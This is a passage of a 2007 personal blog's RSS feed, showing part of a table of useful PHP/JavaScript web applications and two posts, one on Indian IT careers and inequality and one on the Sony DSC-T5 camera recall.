&lt;td&gt;phpBMS is a PHP, MySQL, web-based business management system (BMS). phpBMS provides a robust billing system, including quote, order, and invoice creation, along with PDF billing document creation. phpBMS has client and prospect tracking including mass e-mailing capabilities and PDF label creation.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://phpaudit.com/"&gt;PHPAudit&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Product distribution and licensing system&lt;/td&gt;        &lt;td&gt;PHPAudit is a complete PHP product distribution and licensing system. PHPAudit can handle everything from the end user ordering your product all the way to managing each individual order, license and client. It is a complete system that can be utilized in whole or in parts via our remote API.&lt;/td&gt;        &lt;td&gt;Commercial&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.sugarcrm.com/"&gt;SugarCRM&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Customer Relationship Management Software&lt;/td&gt;        &lt;td&gt;SugarCRM is the world's leading provider of commercial open source customer relationship management (CRM) software for companies of all sizes.&lt;/td&gt;        &lt;td&gt;Commercial Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a title="Open Ticket Request System" href="http://otrs.org/"&gt;OTRS&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Online Helpdesk&lt;/td&gt;        &lt;td&gt;OTRS is an Open source Ticket Request System (also well known as trouble ticket system) with many features to manage customer telephone calls and e-mails.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;Perl&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://wordpress.com/"&gt;WordPress&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Blogging Platform&lt;/td&gt;        &lt;td&gt;WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability. What a mouthful. WordPress is both free and priceless at the same time.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.movabletype.org/"&gt;Movable Type&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Blogging Platform&lt;/td&gt;        &lt;td&gt;Movable Type is a professional publishing platform.&lt;/td&gt;        &lt;td&gt;&lt;a title="Open Source since version 4" href="http://www.movabletype.org/opensource/"&gt;Open Source&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Perl&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.oscommerce.com/"&gt;osCommerce&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;E-Commerce Solution&lt;/td&gt;        &lt;td&gt;osCommerce is an online shop e-commerce solution that offers a wide range of out-of-the-box features that allows online stores to be setup fairly quickly with ease, and is available for free as an Open Source based solution released under the GNU General Public License.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://phpbb.com/"&gt;phpBB&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Forum&lt;/td&gt;        &lt;td&gt;Since its inception, phpBB&amp;#x2122; has been among the leading bulletin board solutions and quickly rose to be the world's leading Open Source forum software.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.vbulletin.com/"&gt;vBulletin&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Forum&lt;/td&gt;        &lt;td&gt;vBulletin is a professional, affordable community forum solution. Thousands of clients, including many industry leading blue chip companies, have chosen vBulletin - It's the ideal choice for any size of community.&lt;/td&gt;        &lt;td&gt;Commercial&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.simplemachines.org/"&gt;Simple Machines&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Forum&lt;/td&gt;        &lt;td&gt;Simple Machines Forum &amp;#x2014; SMF in short &amp;#x2014; is a free, professional grade software package that allows you to set up your own online community within minutes.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.phpmyadmin.net/"&gt;phpMyAdmin&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;MySQL Interface&lt;/td&gt;        &lt;td&gt;phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://phppgadmin.sourceforge.net/"&gt;phpPgAdmin&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;PostgreSQL Interface&lt;/td&gt;        &lt;td&gt;phpPgAdmin is a web-based administration tool for PostgreSQL. It is perfect for PostgreSQL DBAs, newbies and hosting services.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.articledashboard.com/"&gt;Article Dashboard&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Article Directory Software&lt;/td&gt;        &lt;td&gt;Article Dashboard is an online article directory for both publishers and authors.&lt;/td&gt;        &lt;td&gt;Free&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://interactivetools.com/products/articlemanager/"&gt;Article Manager&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Article Directory Software&lt;/td&gt;        &lt;td&gt;Article Manager gives you everything you need to manage your very own article driven website. You set up the software once, configure your templates, and then use the web-based content management system to update your site from anywhere in the world.&lt;/td&gt;        &lt;td&gt;Commercial&lt;/td&gt;        &lt;td&gt;Perl&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.mediawiki.org/wiki/MediaWiki"&gt;MediaWiki&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Wiki Software&lt;/td&gt;        &lt;td&gt;MediaWiki is a free software wiki package originally written for Wikipedia. It is now used by several other projects of the non-profit Wikimedia Foundation and by many other wikis, including this very website, the home of MediaWiki.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.huddletogether.com/projects/lightbox2/"&gt;Lightbox&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Image Popup Display&lt;/td&gt;        &lt;td&gt;Lightbox is a simple, unobtrusive script used to overlay images on the current page. It's a snap to setup and works on all modern browsers.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;JavaScript&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.google.com/apis/maps/"&gt;Google Maps&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Map Viewer&lt;/td&gt;        &lt;td&gt;The Google Maps API lets you embed Google Maps in your own web pages with JavaScript. You can add overlays to the map (including markers and polylines) and display shadowed &amp;quot;info windows&amp;quot;.&lt;/td&gt;        &lt;td&gt;Free&lt;/td&gt;        &lt;td&gt;JavaScript&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://developer.yahoo.com/maps/flash/index.html"&gt;Y! Maps Flash&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Flash based Map Viewer&lt;/td&gt;        &lt;td&gt;Yahoo! is proud to offer the Yahoo! Maps product, a sleek new interface based on Adobe&amp;#xAE; Flash technology that allows a far richer maps experience. The Yahoo! Maps Flash APIs make it easy for developers to build their own custom map that takes advantage of Flash technology.&lt;/td&gt;        &lt;td&gt;Free&lt;/td&gt;        &lt;td&gt;Flash&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.fckeditor.net/"&gt;FCKEditor&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Rich Text Editor&lt;/td&gt;        &lt;td&gt;This HTML text editor brings to the web much of the power of desktop editors like MS Word. It's lightweight and doesn't require any kind of installation on the client computer.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;JavaScript&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.aditus.nu/jpgraph/"&gt;JpGraph&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Graph Maker&lt;/td&gt;        &lt;td&gt;JpGraph is a Object-Oriented Graph creating library for PHP. The library is completely written in PHP and ready to be used in any PHP scripts (both CGI/APXS/CLI versions of PHP are supported).&lt;/td&gt;        &lt;td&gt;Free &amp;amp; Commercial&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.maani.us/charts/index.php"&gt;Charts&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Graph Maker&lt;/td&gt;        &lt;td&gt;PHP/SWF Charts is a simple, yet powerful PHP tool to create attractive web charts and graphs from dynamic data.&lt;/td&gt;        &lt;td&gt;Shareware &amp;amp; Commercial&lt;/td&gt;        &lt;td&gt;PHP, Flash&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.dynarch.com/products/dhtml-menu/"&gt;DynarchMenu&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Pull Down Menu&lt;/td&gt;        &lt;td&gt;DHTML/JavaScript menu is an advanced library which can be used for anything from a site navigation system to complex application menus or toolbars that set options and execute code on the fly.&lt;/td&gt;        &lt;td&gt;Linkware &amp;amp; Commercial&lt;/td&gt;        &lt;td&gt;JavaScript&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-8983919807106976392?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/8OIZvdmuJ-g" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-09-15T00:26:22.849+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/09/very-useful-scripts-and-pluggable-gui.html</feedburner:origLink></item><item><title>Two Friends' Advancement</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/bQzHfaIQgR8/two-friends-advancement.html</link><category>vision</category><category>India</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Tue, 04 Sep 2007 08:17:19 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-3111079190552508023</guid><description>&lt;img style="border-top-width: 0px; padding-left: 10px; border-left-width: 0px; float: right; border-bottom-width: 0px; width: 125px; height: 83px; border-right-width: 0px" alt="India Flag" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/india-flag.gif"&gt;  &lt;p&gt;A couple of days ago, I learnt that two of my close friends, &lt;a href="http://mistake-theory.blogspot.com/" target="_blank"&gt;Arindam&lt;/a&gt; and Deepan got a reason to be very excited. Arindam was my neighbour a decade ago and has 2+ yrs of experience in C/C++ on UNIX, while Deepan was my college classmate and has about a yr of experience using Java.&lt;br&gt;&lt;br&gt;Arindam, who works for HCL Infotech, Bangalore got posted to the New York office and he is very excited experiencing the USA adventure inspite of 10+ hrs of daily work. Deepan, who works for a small outsourcing firm in Coimbatore developing web applications using Struts, has finally got internet connection in office which is now available to all employees of the firm.&lt;br&gt;&lt;br&gt;While Arindam is not sleeping in the city that never sleeps, Deepan is busy with his first blog, checking out blogger and the other likes of being online. Its interesting how these two software engineers have had recent advancements in their lives, and yet such a large gap in the difference in advancement, even though both are in the IT industry and just a difference of about a yr in experience.&lt;br&gt;&lt;br&gt;Today is our 60th Independence Day Anniversary and India is one of the fastest Emerging-Economy countries today, with job opportunities rising by the day and infrastructure expanding rapidly. But it seems so obvious that only the organizations that are backed by foreign funding are really accelerating advancement, others are still yet to provide even basic facilities. I'm not just judging this based on my two friend's experiences - this is noticeable pretty clearly to people in the IT industry. Foreign investment helps in boosting our economy and one of the main factors governing this is that the value of the &lt;a title="Indian currency" href="http://en.wikipedia.org/wiki/Rupee" target="_blank"&gt;Rupee&lt;/a&gt; is very low when compared to US Dollar, UK Pound etc. Inspite of being an "emerging" country, we do not see a major drop in the poverty line. Organizations responsible for charity &amp;amp; humanitarian work are still ongoing just like before and obviously much better, but do we see some major boom like we do in technology world ? These are two oceans moving in &lt;strike&gt;opposite&lt;/strike&gt; different directions.&lt;/p&gt; &lt;p&gt;In the future most Indians would make a fortune when compared to our lifestyles a decade ago and be in parallel to the western world but the slum dwellers would the same as ever. But aren't you afraid that situation could worsen so much that the rate at which the poverty line decreasing would be so slow when compared to the rest of us emerging as &lt;em&gt;Elois&lt;/em&gt;, that, a Hitler would be reincarnated to eradicate the &lt;em&gt;Morlocks&lt;/em&gt; ? &lt;/p&gt; &lt;p&gt;If you're reading this, I would suggest you rather not try debugging this post as I finished composing this in the early hours of our 61st year since independence.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-3111079190552508023?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/bQzHfaIQgR8" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-09-04T20:47:19.571+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/08/two-friends-advancement.html</feedburner:origLink></item><item><title>Replace your Sony DSC-T5's bottom</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/wmHeGAMhCi4/replace-your-sony-dsc-t5-bottom.html</link><category>Gadgets</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Sun, 05 Aug 2007 09:13:41 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-532811949628343280</guid><description>&lt;p&gt;&lt;img style="border-top-width: 0px; padding-left: 10px; border-left-width: 0px; float: right; border-bottom-width: 0px; width: 256px; height: 130px; border-right-width: 0px" alt="Sony DSC-T5" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/sonydsct5.gif"&gt; If you've got a Sony CyberShot DSC-T5 digital camera, chances are that the bottom casing of it is defective - enough to cut or scratch your finger. Even though the injuries reported by about 30 consumers were minor, one user had to get a surgery ! This only applies to users who have bought this in 2005 - 2006 period where the serial number falls in 3500001 to 3574100 range.&lt;br&gt;&lt;br&gt;According to Sony :&lt;br&gt;"With certain DSC-T5 units, the metal plating peels away from the camera unit and warps outwards. Due to an irregularity during the initial part production, the adhesive strength of the metal plating declined. As a result, there is a small likelihood that damage to the bottom casing could cause the metal plating to peel and warp outwards." &lt;br&gt;&lt;br&gt;Have it checked with any of the Sony-India &lt;a href="http://www.sony.co.in/section/servicecenters"&gt;Service Centers&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;Related Links:&lt;br&gt;&lt;b&gt;&lt;a href="http://www.sony.co.in/support/announcement/214549?site=hp_en_IN_i"&gt;Sony India's Official Announcement.&lt;/a&gt;&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.dpreview.com/news/0708/07080301sonyt5recall.asp"&gt;dpreview: Sony recalls Cyber-Shot DSC-T5&lt;/a&gt;&lt;br&gt;&lt;a href="http://news.com.com/8301-13580_3-9754313-39.html"&gt;CNET News: Sony recalls 350,000 cameras&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-532811949628343280?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/wmHeGAMhCi4" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-05T21:43:41.656+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/08/replace-your-sony-dsc-t5-bottom.html</feedburner:origLink></item><media:rating>nonadult</media:rating></channel></rss>
